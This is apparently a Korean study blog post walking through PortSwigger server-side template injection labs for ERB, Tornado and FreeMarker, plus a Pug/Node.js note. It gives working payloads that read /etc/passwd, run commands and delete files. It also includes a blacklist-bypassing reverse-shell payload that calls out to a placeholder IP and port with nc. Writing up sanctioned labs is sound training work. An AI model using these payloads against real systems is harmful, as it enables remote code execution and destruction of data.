Portswigger Lab: SSTI(1)
처음으로 선택한 문제는 SSTI!
OSWE 지금 풀고 있는 모듈이 Jinja 템플릿 엔진을 이용한 RCE 파트라 관심이 가서 선택했다.
이 랩은 이미 푼 문제였긴 했는데 어차피 기억 안 나니까 괜찮다.
간단히 개념 정리
서버 사이드 템플릿 엔진은 웹 개발에서 UI 렌더링을 위해 반드시 필요한 기술로 서버에서 동적 콘텐츠를 생성하기 위해 모델 데이터를 템플릿과 결합하여 HTML 등의 결과물을 출력하는 역할을 한다. SSTI는 사용자 입력 값이 템플릿 엔진에 직접 연결되어 입력 값 검증 없이 실행될 때 발생한다. 이를 통해 공격자는 코드나 명령을 삽입해 서버의 민감한 정보를 훔치거나 악의적인 작업을 수행할 수 있다. |
첫 번째 문제는 ERB/Ruby이며, Carlos의 홈 디렉에서 morale.txt를 삭제하면 된다.
OSWE 공부하려면 공식 문서를 활용해야만 할텐데, 일단은 쉬운 길로 가겠다.
ERB의 표현식은 <%= %>를 이용한다고 한다.
message 파라미터의 사용자 input 값이 응답 값에 포함되는 것을 확인하여 <%=7*7%>를 했더니 49가 출력됐다.
별다른 우회는 필요없나보다. //self를 사용하면 사용가능한 속성과 메서드를 불러올 수 있다고 한다.
<%=File.open('/etc/passwd').read%>를 입력하면 바로바로 정보를 내어줬다.
<%=system('cat /etc/passwd')%>도 가능했다.
<%=system('rm /home/carlos/morale.txt')%>를 통해 문제를 해결했다.
다음 문제는 Tornado/python 라는 템플릿 엔진을 사용하는 서버에서 발생하는 SSTI다.
로그인 후 내 계정에 접속해 preferred name의 submit 버튼을 누른다. 프록시 툴로 submit 시 발생하는 요청을 가로챈다.
blog-post-author-display의 user.name을 지우고 {{7*7}}을 입력한다.
블로그 포스트에 들어가서 댓글을 남기면 이름 란에 입력한 표현식이 템플릿 엔진에서 계산되어 나타났다.
이제 알아낸 것을 통해 시스템 명령어를 실행한다. 페이지 왔다갔다 하기 귀찮으니까 리피터로 값을 변경 후 전송한다.
'aa'}}{%import+os%}{{os.system('whoami')
응답 값 carlos를 통해 시스템 명령어가 잘 실행되었음을 알 수 있다.
이제 문제를 해결하면 된다. /home/carlos/morale.txt를 삭제하자.
'aa'}}{%import+os%}{{os.system('rm+/home/carlos/morale.txt')
명령어만 조금 바꿔주면 된다.
이제 세 번째 문제다. 이제 템플릿 엔진을 직접 알아내야 한다.
로그인 후 포스트에 들어가면 수정할 수 있는 기능이 있다.
아마 이 곳이 공격하는 부분인 듯 싶다.
오류를 통해 템플릿 엔진을 확인하기 위해 ${haru}를 전송했더니 FreeMarker/java임을 알려줬다.
내용을 다 지우고 #{7*7}를 입력하니 계산되었다.
${"freemarker.template.utility.Execute"?new()("cat+/etc/passwd")}
시스템 명령도 잘 먹혔다.
이제 문제를 풀어주자. /home/carlos/morale.txt를 삭제하면 된다.
${"freemarker.template.utility.Execute"?new()("rm+/home/carlos/morale.txt")}
Solved!
+) 공부하다가 나온 pug 템플릿 엔진을 이용한 rce (node.js)
extends layout
block content
if homePage
div !{homePage}
else
include ./items/home_el.pug
!{} 는 html encoding이 되지 않음. #{}을 사용하자
homepage update할 수 있는 권한을 이미 딴 상황이라 아래 코드를 이용하여 rce를 수행했음.
require, child_process 등이 블랙리스트로 걸려있었기 때문에 우회하느라 조금 지저분 함..
"div #{{global.process.mainModule.constructor._load(\'child\' + \'_process\').exec(\'busybox|nc {ip} {port} -e /bin/bash\')}}"